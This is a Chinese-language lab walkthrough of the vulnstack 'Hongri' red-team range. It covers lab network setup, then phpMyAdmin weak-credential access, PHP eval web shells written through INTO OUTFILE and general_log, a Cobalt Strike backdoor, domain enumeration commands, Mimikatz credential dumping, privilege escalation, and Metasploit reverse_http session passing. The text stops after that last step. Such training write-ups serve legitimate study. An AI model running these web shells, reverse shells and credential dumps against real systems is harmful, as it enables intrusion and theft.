红日靶场一通关

发布时间 2023-09-10 02:49:54作者: imawuya

靶场描述:

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:

一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

红日靶场一下载地址:

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

环境搭建

拓扑图:
image


实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段:
image

从网络拓扑图得知,需要模拟内网和外网两个网段, Win7 虚拟机相当于网关服务器,所以需要两张网卡,故需要配置两个网卡,点击添加网络设配器:

Win7

作为Web服务器需要有一个外网网卡,打开虚拟机设置新增一张网卡,将网卡分别设置成仅主机模式和桥接模式。
image

Win2k3

将网卡设置成仅主机模式:
image

win2008

也同样将网卡设置为仅主机模式:
image

Kali

将Kali的网卡设置为桥接模式(我这个Kali是自用的,只需要设置一张网卡即可,不用如图搞那么多张):
image


win7原始密码:hongrisec@2019

主机名 密码 IP地址 描述
Kali root 外网:169.254.58.5 内网:192.168.52.5 攻击机
win7 Admin123 外网:169.254.58.216 内网:192.168.52.143 web服务器
win2k3 Admin123 内网:192.168.52.141 域成员
win2008 hongrisec@2019 内网:192.168.52.138 域控

tips

win7中的phpstudy面板是坏的,所以需要重新下载一个,下载地址:https://www.xp.cn/download.html
(记得要将原本phpstudy中的www目录下的所有文件复制下来)
image


配置好小皮面板后开启环境:
image


记得要将防火墙全部关闭,否则后续无法进行实验:
image

测试连通性

kali ping 三个机器
image

外网渗透

一共有两个思路,一个是phpmyadmin,一个是yxcms网站,不过我这边的yxcms文件损坏打不开,所以只写了phpmyadmin的思路。

如果以后有机会的话,再将yxcms补上。

信息收集

使用nmap查看win7开启了什么端口:

nmap -sV 192.168.52.143


发现开启了80、135、445、3306端口,而且开启了http服务:
image


访问其http服务:

http://192.168.52.143

发现什么都没:
image

目录扫描

使用dirb进行目录扫描,发现/phpmyadmin目录
image

破解phpmyadmin密码

使用phpmyadmin弱口令爆破工具进行破解,账号密码:

user:root
password:root

image

image

查询phpmyadmin路径

使用命令查询网站的后台绝对路径:

select @@basedir


根据反馈,可以看到 MySQL 的位置在 C:\phpstudy_pro\Extensions\MySQL5.7.26\目录下
image


或者查找是否存在探针:
http://192.168.52.143/l.php


可以看到文件的绝对路径是C:/phpstudy_pro/WWW

上传一句话木马

可以参考文章:https://www.cnblogs.com/imawuya/p/17680722.html

into outfile写入木马文件

获取网站路径后就可以尝试上传木马,最常用的是通过into outfile在网站根目录上直接写入一句话木马:

select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\\WWW\\shell.php"

当前靶机的绝对路径是C:/phpstudy_pro/WWW
所以是:
select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "C:\\phpstudy_pro\WWW\\shell.php"

写入失败:
image


查看数据库是否有导入权限:

SHOW GLOBAL VARIABLES LIKE '%secure%'

显示了null,表示没有写入权限:
image

日志文件写入木马

into outfile方法不行,尝试使用日志get shell

查看日志状态:

show variables like '%general%';

OFF:关闭
ON:开启

image

开启日志记录:

set global general_log = "ON";

查看当前的日志目录:

show variables like 'general%';
image

指定日志文件:

set global general_log_file = "C:\\phpstudy_pro\WWW\404.php";

写入执行代码:

select "<?php phpinfo();@eval($_POST['cmd']);?>";

将代码放到查询框查询:

set global general_log = "ON";
show variables like 'general%';
set global general_log_file = "C:/phpstudy_pro/WWW/404.php";	//将文件写入404.php中

select "<?php phpinfo();@eval($_POST['cmd']);?>";	//一次没成功就把这句再执行(浏览器输入/404.php)
或者:SELECT '<?php eval($_POST["cmd"]);?>'	//可以使用工具进行连接(浏览器输入/shell.php)

使用中国蚁剑连接

两个木马都可以尝试连接成功,随便选一个即可:
image

image

内网信息收集

使用WIn7当作跳板机,横向渗透拿下内网域内的域成员主机和域控主机。

靶机CS Backdoor上线

开启cs,生成exe可执行backdoor程序

上线CS,生成exe可执行backdoor程序,通过蚁剑上传并执行
image


运行cs.sh image
制作木马程序 image image
生成后将木马程序通过蚁剑上传(直接拖拽进去): image
在蚁剑虚拟终端中输入命令运行木马程序: image
可以看到靶机 image
右键选择 靶机> 目标> Net View,在下方可以看到一个命令行 image

使用CS进行信息收集

输入命令 :

sleep 0     //此命令可以让回显变快,不输入此命令也无妨

进行信息搜集,搜集主机及内网信息:

一些cs命令:

shell whoami                //显示administrator权限
shell systeminfo            //查看系统信息
shell ipconfig /all         //查看是否存在域
shell time /domain          //获取当前域控制器的时间 输入该命令可能存在如下三种情况:存在域,当前用户不是域用户;存在域,当前用户是域用户;不存在域。
shell net view /domain      //查看所有域
shell nbtbios               //快速探测内网
shell net group "domain computers" /domain  //查看域控制器主机名
shell nltest /domain_trusts //查看域信任关系
shell net accounts /domain  //查看域内账号密码信息
shell nltest /dclist:hacker //查看当前域的域控制器
shell net group "Domain Controllers" /domain        //获取域控制器列表
shell net group "Domain Admins" /domain             //获取域管理员列表
shell Tasklist /v            //列出进程和进程用户

导入PowerView模块:powershell-import
<img src="https://img2023.cnblogs.com/blog/2719656/202309/2719656-20230909161140029-1737019434.png" alt="image">
image image
发现这个系统只安装了四个补丁: image
获取当前域控制器的时间,存在域,说明当前用户是域用户 image
查看当前域 image
左上角 Cobalt Strike > 可视化 > 目标列表 可以看到域中的机器 image
导入PowerView模块:powershell-import,可以使用以下命令进行信息收集 image

使用CS自带的Mimikatz抓取明文密码

image
抓取到的密码 image

利用 MS14-058 成功提权到 SYSTEM 系统权限账户

首先需要下载提权工具包,下载好后复制到Kali中。

提权包下载地址:

https://github.com/rsmudge/ElevateKit

打开Csbalt Strike > 脚本管理器

image
导入提权工具包: image image
点击提权,就可以发现新增了许多攻击脚本: image
选择 ms15-051 成功提权到 SYSTEM 系统权限账户: image

内网横向渗透

通过 Win7 跳板机,横向渗透拿下内网域内的域成员主机和域控主机。

MSF 开启监听

msfconsole      //启动msf
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_http 
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/handler) > set lhost 192.168.52.5
lhost => 192.168.52.5
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

image

CS 开启监听

回到 Cobalt Strike 中添加监听器,Payload 为 windows/foreign/reverse_http,IP 为 MSF 的 IP,监听端口为 MSF 监听的端口:
image

Cobaltstrike派生会话

在 cs的现有会话上增加会话:
image


选择刚刚建立的监听器 image
通过HTTP监听器,MSF成功接收到了来自靶机(IP地址为192.168.52.143)的请求,并将其连接到本地的Meterpreter会话: image

msf设置:

sessions -i     //转到特定的Shell会话

Active sessions
===============

  Id  Name  Type                 Information           Connection
  --  ----  ----                 -----------           ----------
  1         meterpreter x86/win  GOD\Administrator @   192.168.52.5:5555 ->
            dows                 STU1                   192.168.52.143:2747
                                                       6 (192.168.52.143)


msf6 exploit(multi/handler) > sessions -i 1     //id为1
[*] Starting interaction with 1...

Metasploit派生会话

参考:https://www.cnblogs.com/SeanGyy/p/15617117.html

这个是另一种方法,就不详细说明了,方法如下:

首先在cs中开启监听

msf配置

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true   #默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,所以这里我们设置为true
set lhost 192.168.52.143               #cobaltstrike监听的ip
set lport 6666                 #cobaltstrike监听的端口 
set session 1                   #这里是获得的session的id
exploit

返回CS查看反弹成功